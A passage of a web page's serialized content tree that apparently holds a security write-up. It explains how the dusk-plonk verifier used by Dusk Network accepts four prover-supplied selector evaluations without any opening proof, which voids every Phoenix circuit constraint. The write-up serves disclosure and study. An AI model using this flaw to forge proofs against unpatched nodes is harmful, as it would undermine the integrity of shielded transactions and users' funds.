7317},{"className":147316,"style":7167},[7166],[],{"type":24,"tag":930,"props":147319,"children":147321},{"className":147320},[7172,7173,7174,7175],[147322],{"type":24,"tag":930,"props":147323,"children":147325},{"className":147324,"style":96112},[7126,24690,7175],[147326],{"type":30,"value":117794},{"type":24,"tag":930,"props":147328,"children":147330},{"className":147329},[24846],[147331],{"type":30,"value":24849},{"type":24,"tag":930,"props":147333,"children":147335},{"className":147334},[7152],[147336],{"type":24,"tag":930,"props":147337,"children":147339},{"className":147338,"style":96195},[7157],[147340],{"type":24,"tag":930,"props":147341,"children":147342},{},[],{"type":24,"tag":930,"props":147344,"children":147346},{"className":147345},[24840],[147347],{"type":30,"value":18514},{"type":30,"value":962},{"type":24,"tag":156,"props":147350,"children":147352},{"className":147351},[7098,7099],[147353],{"type":24,"tag":930,"props":147354,"children":147356},{"className":147355},[7104],[147357],{"type":24,"tag":930,"props":147358,"children":147360},{"className":147359,"ariaHidden":7110},[7109],[147361],{"type":24,"tag":930,"props":147362,"children":147364},{"className":147363},[7115],[147365,147369,147374,147431],{"type":24,"tag":930,"props":147366,"children":147368},{"className":147367,"style":7227},[7120],[],{"type":24,"tag":930,"props":147370,"children":147372},{"className":147371},[24818],[147373],{"type":30,"value":6849},{"type":24,"tag":930,"props":147375,"children":147377},{"className":147376},[7126],[147378,147383],{"type":24,"tag":930,"props":147379,"children":147381},{"className":147380,"style":96598},[7126,24690],[147382],{"type":30,"value":147060},{"type":24,"tag":930,"props":147384,"children":147386},{"className":147385},[7142],[147387],{"type":24,"tag":930,"props":147388,"children":147390},{"className":147389},[7147,24743],[147391,147420],{"type":24,"tag":930,"props":147392,"children":147394},{"className":147393},[7152],[147395,147415],{"type":24,"tag":930,"props":147396,"children":147398},{"className":147397,"style":96164},[7157],[147399],{"type":24,"tag":930,"props":147400,"children":147401},{"style":96645},[147402,147406],{"type":24,"tag":930,"props":147403,"children":147405},{"className":147404,"style":7167},[7166],[],{"type":24,"tag":930,"props":147407,"children":147409},{"className":147408},[7172,7173,7174,7175],[147410],{"type":24,"tag":930,"props":147411,"children":147413},{"className":147412},[7126,7175],[147414],{"type":30,"value":20630},{"type":24,"tag":930,"props":147416,"children":147418},{"className":147417},[24846],[147419],{"type":30,"value":24849},{"type":24,"tag":930,"props":147421,"children":147423},{"className":147422},[7152],[147424],{"type":24,"tag":930,"props":147425,"children":147427},{"className":147426,"style":96195},[7157],[147428],{"type":24,"tag":930,"props":147429,"children":147430},{},[],{"type":24,"tag":930,"props":147432,"children":147434},{"className":147433},[24840],[147435],{"type":30,"value":18514},{"type":30,"value":147437},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":33,"props":147439,"children":147440},{},[147441],{"type":30,"value":147442},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":21895,"props":147444,"children":147445},{},[],{"type":24,"tag":68,"props":147447,"children":147449},{"id":147448},"where-dusk-plonk-differs-from-textbook-plonk",[147450],{"type":30,"value":147451},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":33,"props":147453,"children":147454},{},[147455,147464,147466,147471,147473,147503],{"type":24,"tag":37,"props":147456,"children":147458},{"href":144330,"rel":147457},[41],[147459],{"type":24,"tag":156,"props":147460,"children":147462},{"className":147461},[],[147463],{"type":30,"value":144334},{"type":30,"value":147465}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":156,"props":147467,"children":147469},{"className":147468},[],[147470],{"type":30,"value":73649},{"type":30,"value":147472},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":156,"props":147474,"children":147476},{"className":147475},[7098,7099],[147477],{"type":24,"tag":930,"props":147478,"children":147480},{"className":147479},[7104],[147481],{"type":24,"tag":930,"props":147482,"children":147484},{"className":147483,"ariaHidden":7110},[7109],[147485],{"type":24,"tag":930,"props":147486,"children":147488},{"className":147487},[7115],[147489,147493,147498],{"type":24,"tag":930,"props":147490,"children":147492},{"className":147491,"style":113316},[7120],[],{"type":24,"tag":930,"props":147494,"children":147496},{"className":147495,"style":116032},[7126,24690],[147497],{"type":30,"value":116035},{"type":24,"tag":930,"props":147499,"children":147501},{"className":147500,"style":96598},[7126,24690],[147502],{"type":30,"value":147165},{"type":30,"value":147504},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":33,"props":147506,"children":147507},{},[147508,147510,147515,147516,147521,147523,147529,147531,147538],{"type":30,"value":147509},"The important part for this bug is the boundary between ",{"type":24,"tag":275,"props":147511,"children":147512},{},[147513],{"type":30,"value":147514},"public circuit data",{"type":30,"value":211},{"type":24,"tag":275,"props":147517,"children":147518},{},[147519],{"type":30,"value":147520},"prover claims about that data at the random challenge point",{"type":30,"value":147522},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":156,"props":147524,"children":147526},{"className":147525},[],[147527],{"type":30,"value":147528},"Ql, Qr, Qm, Qo, Qk",{"type":30,"value":147530}," directly into the ",{"type":24,"tag":37,"props":147532,"children":147535},{"href":147533,"rel":147534},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[41],[147536],{"type":30,"value":147537},"linearization multi-scalar multiplication",{"type":30,"value":147539},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":33,"props":147541,"children":147542},{},[147543,147545,147570],{"type":30,"value":147544},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":156,"props":147546,"children":147548},{"className":147547},[7098,7099],[147549],{"type":24,"tag":930,"props":147550,"children":147552},{"className":147551},[7104],[147553],{"type":24,"tag":930,"props":147554,"children":147556},{"className":147555,"ariaHidden":7110},[7109],[147557],{"type":24,"tag":930,"props":147558,"children":147560},{"className":147559},[7115],[147561,147565],{"type":24,"tag":930,"props":147562,"children":147564},{"className":147563,"style":113316},[7120],[],{"type":24,"tag":930,"props":147566,"children":147568},{"className":147567,"style":116032},[7126,24690],[147569],{"type":30,"value":116035},{"type":30,"value":147571}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":33,"props":147573,"children":147574},{},[147575],{"type":30,"value":147576},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":147578,"props":147579,"children":147580},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":21895,"props":147582,"children":147583},{},[],{"type":24,"tag":68,"props":147585,"children":147587},{"id":147586},"how-dusk-uses-plonk",[147588],{"type":30,"value":147589},"How Dusk uses PLONK",{"type":24,"tag":33,"props":147591,"children":147592},{},[147593,147599],{"type":24,"tag":37,"props":147594,"children":147596},{"href":144339,"rel":147595},[41],[147597],{"type":30,"value":147598},"Dusk Network",{"type":30,"value":147600}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":96,"props":147602,"children":147603},{},[147604,147609],{"type":24,"tag":100,"props":147605,"children":147606},{},[147607],{"type":30,"value":147608},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":100,"props":147610,"children":147611},{},[147612],{"type":30,"value":147613},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":33,"props":147615,"children":147616},{},[147617,147619,147630,147632,147643],{"type":30,"value":147618},"At node level, every ",{"type":24,"tag":37,"props":147620,"children":147623},{"href":147621,"rel":147622},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[41],[147624],{"type":24,"tag":156,"props":147625,"children":147627},{"className":147626},[],[147628],{"type":30,"value":147629},"ProtocolTransaction::Phoenix",{"type":30,"value":147631}," goes through ",{"type":24,"tag":37,"props":147633,"children":147636},{"href":147634,"rel":147635},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[41],[147637],{"type":24,"tag":156,"props":147638,"children":147640},{"className":147639},[],[147641],{"type":30,"value":147642},"verify_proof_with_version()",{"type":30,"value":147644}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":33,"props":147646,"children":147647},{},[147648,147650,147661,147663,147674,147675,147686,147687,147698,147699,147710],{"type":30,"value":147649},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":37,"props":147651,"children":147654},{"href":147652,"rel":147653},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[41],[147655],{"type":24,"tag":156,"props":147656,"children":147658},{"className":147657},[],[147659],{"type":30,"value":147660},"phoenix()",{"type":30,"value":147662},", for example in ",{"type":24,"tag":37,"props":147664,"children":147667},{"href":147665,"rel":147666},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[41],[147668],{"type":24,"tag":156,"props":147669,"children":147671},{"className":147670},[],[147672],{"type":30,"value":147673},"phoenix_stake()",{"type":30,"value":962},{"type":24,"tag":37,"props":147676,"children":147679},{"href":147677,"rel":147678},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[41],[147680],{"type":24,"tag":156,"props":147681,"children":147683},{"className":147682},[],[147684],{"type":30,"value":147685},"phoenix_stake_reward()",{"type":30,"value":962},{"type":24,"tag":37,"props":147688,"children":147691},{"href":147689,"rel":147690},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[41],[147692],{"type":24,"tag":156,"props":147693,"children":147695},{"className":147694},[],[147696],{"type":30,"value":147697},"phoenix_unstake()",{"type":30,"value":9599},{"type":24,"tag":37,"props":147700,"children":147703},{"href":147701,"rel":147702},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[41],[147704],{"type":24,"tag":156,"props":147705,"children":147707},{"className":147706},[],[147708],{"type":30,"value":147709},"phoenix_to_moonlight()",{"type":30,"value":147711},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":33,"props":147713,"children":147714},{},[147715],{"type":24,"tag":140,"props":147716,"children":147719},{"alt":147717,"src":147718},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":33,"props":147721,"children":147722},{},[147723,147725,147731,147733,147740],{"type":30,"value":147724},"The PLONK implementation, ",{"type":24,"tag":37,"props":147726,"children":147729},{"href":147727,"rel":147728},"https://github.com/dusk-network/plonk",[41],[147730],{"type":30,"value":144334},{"type":30,"value":147732},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":37,"props":147734,"children":147737},{"href":147735,"rel":147736},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[41],[147738],{"type":30,"value":147739},"the original paper",{"type":30,"value":147741}," was released.",{"type":24,"tag":33,"props":147743,"children":147744},{},[147745,147747,147753],{"type":30,"value":147746},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":37,"props":147748,"children":147751},{"href":147749,"rel":147750},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[41],[147752],{"type":30,"value":50674},{"type":30,"value":147754},". The circuit enforces the following set of constraints:",{"type":24,"tag":58834,"props":147756,"children":147757},{},[147758,147774],{"type":24,"tag":125426,"props":147759,"children":147760},{},[147761],{"type":24,"tag":125430,"props":147762,"children":147763},{},[147764,147769],{"type":24,"tag":125434,"props":147765,"children":147766},{},[147767],{"type":30,"value":147768},"Circuit check",{"type":24,"tag":125434,"props":147770,"children":147771},{},[147772],{"type":30,"value":147773},"Statement being checked",{"type":24,"tag":125454,"props":147775,"children":147776},{},[147777,147795,147813,147831,147849,148006,148146,148164],{"type":24,"tag":125430,"props":147778,"children":147779},{},[147780,147790],{"type":24,"tag":125461,"props":147781,"children":147782},{},[147783],{"type":24,"tag":37,"props":147784,"children":147787},{"href":147785,"rel":147786},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[41],[147788],{"type":30,"value":147789},"Merkle tree membership",{"type":24,"tag":125461,"props":147791,"children":147792},{},[147793],{"type":30,"value":147794},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":125430,"props":147796,"children":147797},{},[147798,147808],{"type":24,"tag":125461,"props":147799,"children":147800},{},[147801],{"type":24,"tag":37,"props":147802,"children":147805},{"href":147803,"rel":147804},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[41],[147806],{"type":30,"value":147807},"Input-note secret-key authorization",{"type":24,"tag":125461,"props":147809,"children":147810},{},[147811],{"type":30,"value":147812},"The prover knows the secret key controlling each input note",{"type":24,"tag":125430,"props":147814,"children":147815},{},[147816,147826],{"type":24,"tag":125461,"props":147817,"children":147818},{},[147819],{"type":24,"tag":37,"props":147820,"children":147823},{"href":147821,"rel":147822},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[41],[147824],{"type":30,"value":147825},"Nullifier correctness",{"type":24,"tag":125461,"props":147827,"children":147828},{},[147829],{"type":30,"value":147830},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":125430,"props":147832,"children":147833},{},[147834,147844],{"type":24,"tag":125461,"props":147835,"children":147836},{},[147837],{"type":24,"tag":37,"props":147838,"children":147841},{"href":147839,"rel":147840},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[41],[147842],{"type":30,"value":147843},"Output value commitment correctness",{"type":24,"tag":125461,"props":147845,"children":147846},{},[147847],{"type":30,"value":147848},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":125430,"props":147850,"children":147851},{},[147852,147862],{"type":24,"tag":125461,"props":147853,"children":147854},{},[147855],{"type":24,"tag":37,"props":147856,"children":147859},{"href":147857,"rel":147858},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[41],[147860],{"type":30,"value":147861},"Balance integrity",{"type":24,"tag":125461,"props":147863,"children":147864},{},[147865],{"type":24,"tag":156,"props":147866,"children":147868},{"className":147867},[7098,7099],[147869],{"type":24,"tag":930,"props":147870,"children":147872},{"className":147871},[7104],[147873],{"type":24,"tag":930,"props":147874,"children":147876},{"className":147875,"ariaHidden":7110},[7109],[147877,147917,147957,147989],{"type":24,"tag":930,"props":147878,"children":147880},{"className":147879},[7115],[147881,147885,147890,147894,147904,147908,147913],{"type":24,"tag":930,"props":147882,"children":147884},{"className":147883,"style":7227},[7120],[],{"type":24,"tag":930,"props":147886,"children":147888},{"className":147887,"style":24732},[24725,24730,24731],[147889],{"type":30,"value":111270},{"type":24,"tag":930,"props":147891,"children":147893},{"className":147892,"style":7245},[7206],[],{"type":24,"tag":930,"props":147895,"children":147897},{"className":147896},[7126,30],[147898],{"type":24,"tag":930,"props":147899,"children":147901},{"className":147900},[7126],[147902],{"type":30,"value":147903},"inputs",{"type":24,"tag":930,"props":147905,"children":147907},{"className":147906,"style":7304},[7206],[],{"type":24,"tag":930,"props":147909,"children":147911},{"className":147910},[7309],[147912],{"type":30,"value":1161},{"type":24,"tag":930,"props":147914,"children":147916},{"className":147915,"style":7304},[7206],[],{"type":24,"tag":930,"props":147918,"children":147920},{"className":147919},[7115],[147921,147925,147930,147934,147944,147948,147953],{"type":24,"tag":930,"props":147922,"children":147924},{"className":147923,"style":7227},[7120],[],{"type":24,"tag":930,"props":147926,"children":147928},{"className":147927,"style":24732},[24725,24730,24731],[147929],{"type":30,"value":111270},{"type":24,"tag":930,"props":147931,"children":147933},{"className":147932,"style":7245},[7206],[],{"type":24,"tag":930,"props":147935,"children":147937},{"className":147936},[7126,30],[147938],{"type":24,"tag":930,"props":147939,"children":147941},{"className":147940},[7126],[147942],{"type":30,"value":147943},"outputs",{"type":24,"tag":930,"props":147945,"children":147947},{"className":147946,"style":7207},[7206],[],{"type":24,"tag":930,"props":147949,"children":147951},{"className":147950},[7212],[147952],{"type":30,"value":1400},{"type":24,"tag":930,"props":147954,"children":147956},{"className":147955,"style":7207},[7206],[],{"type":24,"tag":930,"props":147958,"children":147960},{"className":147959},[7115],[147961,147966,147976,147980,147985],{"type":24,"tag":930,"props":147962,"children":147965},{"className":147963,"style":147964},[7120],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":147967,"children":147969},{"className":147968},[7126,30],[147970],{"type":24,"tag":930,"props":147971,"children":147973},{"className":147972},[7126],[147974],{"type":30,"value":147975},"fee",{"type":24,"tag":930,"props":147977,"children":147979},{"className":147978,"style":7207},[7206],[],{"type":24,"tag":930,"props":147981,"children":147983},{"className":147982},[7212],[147984],{"type":30,"value":1400},{"type":24,"tag":930,"props":147986,"children":147988},{"className":147987,"style":7207},[7206],[],{"type":24,"tag":930,"props":147990,"children":147992},{"className":147991},[7115],[147993,147997],{"type":24,"tag":930,"props":147994,"children":147996},{"className":147995,"style":117530},[7120],[],{"type":24,"tag":930,"props":147998,"children":148000},{"className":147999},[7126,30],[148001],{"type":24,"tag":930,"props":148002,"children":148004},{"className":148003},[7126],[148005],{"type":30,"value":5730},{"type":24,"tag":125430,"props":148007,"children":148008},{},[148009,148026],{"type":24,"tag":125461,"props":148010,"children":148011},{},[148012,148019,148020],{"type":24,"tag":37,"props":148013,"children":148016},{"href":148014,"rel":148015},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[41],[148017],{"type":30,"value":148018},"Range checks on inputs",{"type":30,"value":211},{"type":24,"tag":37,"props":148021,"children":148024},{"href":148022,"rel":148023},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[41],[148025],{"type":30,"value":147943},{"type":24,"tag":125461,"props":148027,"children":148028},{},[148029,148031],{"type":30,"value":148030},"All note values lie in ",{"type":24,"tag":156,"props":148032,"children":148034},{"className":148033},[7098,7099],[148035],{"type":24,"tag":930,"props":148036,"children":148038},{"className":148037},[7104],[148039],{"type":24,"tag":930,"props":148040,"children":148042},{"className":148041,"ariaHidden":7110},[7109],[148043,148128],{"type":24,"tag":930,"props":148044,"children":148046},{"className":148045},[7115],[148047,148051,148056,148061,148066,148070,148115,148119,148124],{"type":24,"tag":930,"props":148048,"children":148050},{"className":148049,"style":117787},[7120],[],{"type":24,"tag":930,"props":148052,"children":148054},{"className":148053},[24818],[148055],{"type":30,"value":6849},{"type":24,"tag":930,"props":148057,"children":148059},{"className":148058},[7126],[148060],{"type":30,"value":1818},{"type":24,"tag":930,"props":148062,"children":148064},{"className":148063},[7238],[148065],{"type":30,"value":7241},{"type":24,"tag":930,"props":148067,"children":148069},{"className":148068,"style":7245},[7206],[],{"type":24,"tag":930,"props":148071,"children":148073},{"className":148072},[7126],[148074,148079],{"type":24,"tag":930,"props":148075,"children":148077},{"className":148076},[7126],[148078],{"type":30,"value":6244},{"type":24,"tag":930,"props":148080,"children":148082},{"className":148081},[7142],[148083],{"type":24,"tag":930,"props":148084,"children":148086},{"className":148085},[7147],[148087],{"type":24,"tag":930,"props":148088,"children":148090},{"className":148089},[7152],[148091],{"type":24,"tag":930,"props":148092,"children":148094},{"className":148093,"style":7121},[7157],[148095],{"type":24,"tag":930,"props":148096,"children":148097},{"style":7161},[148098,148102],{"type":24,"tag":930,"props":148099,"children":148101},{"className":148100,"style":7167},[7166],[],{"type":24,"tag":930,"props":148103,"children":148105},{"className":148104},[7172,7173,7174,7175],[148106],{"type":24,"tag":930,"props":148107,"children":148109},{"className":148108},[7126,7175],[148110],{"type":24,"tag":930,"props":148111,"children":148113},{"className":148112},[7126,7175],[148114],{"type":30,"value":32513},{"type":24,"tag":930,"props":148116,"children":148118},{"className":148117,"style":7207},[7206],[],{"type":24,"tag":930,"props":148120,"children":148122},{"className":148121},[7212],[148123],{"type":30,"value":7186},{"type":24,"tag":930,"props":148125,"children":148127},{"className":148126,"style":7207},[7206],[],{"type":24,"tag":930,"props":148129,"children":148131},{"className":148130},[7115],[148132,148136,148141],{"type":24,"tag":930,"props":148133,"children":148135},{"className":148134,"style":7227},[7120],[],{"type":24,"tag":930,"props":148137,"children":148139},{"className":148138},[7126],[148140],{"type":30,"value":7129},{"type":24,"tag":930,"props":148142,"children":148144},{"className":148143},[24840],[148145],{"type":30,"value":18514},{"type":24,"tag":125430,"props":148147,"children":148148},{},[148149,148159],{"type":24,"tag":125461,"props":148150,"children":148151},{},[148152],{"type":24,"tag":37,"props":148153,"children":148156},{"href":148154,"rel":148155},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[41],[148157],{"type":30,"value":148158},"Sender-authorship signatures",{"type":24,"tag":125461,"props":148160,"children":148161},{},[148162],{"type":30,"value":148163},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":125430,"props":148165,"children":148166},{},[148167,148177],{"type":24,"tag":125461,"props":148168,"children":148169},{},[148170],{"type":24,"tag":37,"props":148171,"children":148174},{"href":148172,"rel":148173},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[41],[148175],{"type":30,"value":148176},"Sender encryption correctness",{"type":24,"tag":125461,"props":148178,"children":148179},{},[148180],{"type":30,"value":148181},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":33,"props":148183,"children":148184},{},[148185,148187,148193,148195,148204],{"type":30,"value":148186},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":156,"props":148188,"children":148190},{"className":148189},[],[148191],{"type":30,"value":148192},"tx.public_inputs()",{"type":30,"value":148194}," via ",{"type":24,"tag":37,"props":148196,"children":148198},{"href":147634,"rel":148197},[41],[148199],{"type":24,"tag":156,"props":148200,"children":148202},{"className":148201},[],[148203],{"type":30,"value":147642},{"type":30,"value":436},{"type":24,"tag":33,"props":148206,"children":148207},{},[148208],{"type":30,"value":148209},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":21895,"props":148211,"children":148212},{},[],{"type":24,"tag":68,"props":148214,"children":148215},{"id":93366},[148216],{"type":30,"value":148217},"The bug",{"type":24,"tag":33,"props":148219,"children":148220},{},[148221,148223,148230,148232,148243],{"type":30,"value":148222},"In the ",{"type":24,"tag":37,"props":148224,"children":148227},{"href":148225,"rel":148226},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[41],[148228],{"type":30,"value":148229},"PLONK verification",{"type":30,"value":148231},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":37,"props":148233,"children":148236},{"href":148234,"rel":148235},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[41],[148237],{"type":24,"tag":156,"props":148238,"children":148240},{"className":148239},[],[148241],{"type":30,"value":148242},"E_evals",{"type":30,"value":148244},") are:",{"type":24,"tag":96,"props":148246,"children":148247},{},[148248,148280,148305,148330],{"type":24,"tag":100,"props":148249,"children":148250},{},[148251,148257,148258,148264,148265,148271,148272,148278],{"type":24,"tag":156,"props":148252,"children":148254},{"className":148253},[],[148255],{"type":30,"value":148256},"a_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148259,"children":148261},{"className":148260},[],[148262],{"type":30,"value":148263},"b_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148266,"children":148268},{"className":148267},[],[148269],{"type":30,"value":148270},"c_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148273,"children":148275},{"className":148274},[],[148276],{"type":30,"value":148277},"d_eval",{"type":30,"value":148279}," (witness)",{"type":24,"tag":100,"props":148281,"children":148282},{},[148283,148289,148290,148296,148297,148303],{"type":24,"tag":156,"props":148284,"children":148286},{"className":148285},[],[148287],{"type":30,"value":148288},"s_sigma_1_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148291,"children":148293},{"className":148292},[],[148294],{"type":30,"value":148295},"s_sigma_2_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148298,"children":148300},{"className":148299},[],[148301],{"type":30,"value":148302},"s_sigma_3_eval",{"type":30,"value":148304}," (permutation)",{"type":24,"tag":100,"props":148306,"children":148307},{},[148308,148314,148315,148321,148322,148328],{"type":24,"tag":156,"props":148309,"children":148311},{"className":148310},[],[148312],{"type":30,"value":148313},"a_w_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148316,"children":148318},{"className":148317},[],[148319],{"type":30,"value":148320},"b_w_eval",{"type":30,"value":962},{"type":24,"tag":156,"props":148323,"children":148325},{"className":148324},[],[148326],{"type":30,"value":148327},"d_w_eval",{"type":30,"value":148329}," (shifted witness)",{"type":24,"tag":100,"props":148331,"children":148332},{},[148333,148339],{"type":24,"tag":156,"props":148334,"children":148336},{"className":148335},[],[148337],{"type":30,"value":148338},"z_eval",{"type":30,"value":148340}," (permutation accumulator)",{"type":24,"tag":33,"props":148342,"children":148343},{},[148344,148346,148350],{"type":30,"value":148345},"But the following selector evaluations were ",{"type":24,"tag":6032,"props":148347,"children":148348},{},[148349],{"type":30,"value":21590},{"type":30,"value":148351}," included:",{"type":24,"tag":96,"props":148353,"children":148354},{},[148355,148366,148377,148388],{"type":24,"tag":100,"props":148356,"children":148357},{},[148358,148364],{"type":24,"tag":156,"props":148359,"children":148361},{"className":148360},[],[148362],{"type":30,"value":148363},"q_arith_eval",{"type":30,"value":148365}," (arithmetic selector)",{"type":24,"tag":100,"props":148367,"children":148368},{},[148369,148375],{"type":24,"tag":156,"props":148370,"children":148372},{"className":148371},[],[148373],{"type":30,"value":148374},"q_c_eval",{"type":30,"value":148376}," (constant selector)",{"type":24,"tag":100,"props":148378,"children":148379},{},[148380,148386],{"type":24,"tag":156,"props":148381,"children":148383},{"className":148382},[],[148384],{"type":30,"value":148385},"q_l_eval",{"type":30,"value":148387}," (left selector)",{"type":24,"tag":100,"props":148389,"children":148390},{},[148391,148397],{"type":24,"tag":156,"props":148392,"children":148394},{"className":148393},[],[148395],{"type":30,"value":148396},"q_r_eval",{"type":30,"value":148398}," (right selector)",{"type":24,"tag":33,"props":148400,"children":148401},{},[148402,148404,148411,148412,148419,148420,148427,148428,148435],{"type":30,"value":148403},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":37,"props":148405,"children":148408},{"href":148406,"rel":148407},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[41],[148409],{"type":30,"value":148410},"proof struct",{"type":30,"value":962},{"type":24,"tag":37,"props":148413,"children":148416},{"href":148414,"rel":148415},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[41],[148417],{"type":30,"value":148418},"transcript absorption",{"type":30,"value":962},{"type":24,"tag":37,"props":148421,"children":148424},{"href":148422,"rel":148423},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[41],[148425],{"type":30,"value":148426},"arithmetic widget",{"type":30,"value":962},{"type":24,"tag":37,"props":148429,"children":148432},{"href":148430,"rel":148431},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[41],[148433],{"type":30,"value":148434},"fixed-base ECC widget",{"type":30,"value":148436},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":33,"props":148438,"children":148439},{},[148440,148442,148446],{"type":30,"value":148441},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":6032,"props":148443,"children":148444},{},[148445],{"type":30,"value":21590},{"type":30,"value":148447}," bugs:",{"type":24,"tag":96,"props":148449,"children":148450},{},[148451,148591],{"type":24,"tag":100,"props":148452,"children":148453},{},[148454,148456,148501,148503,148509,148511,148516,148517,148522,148523,148528,148530,148536,148538,148583,148585,148590],{"type":30,"value":148455},"There is no prover-supplied 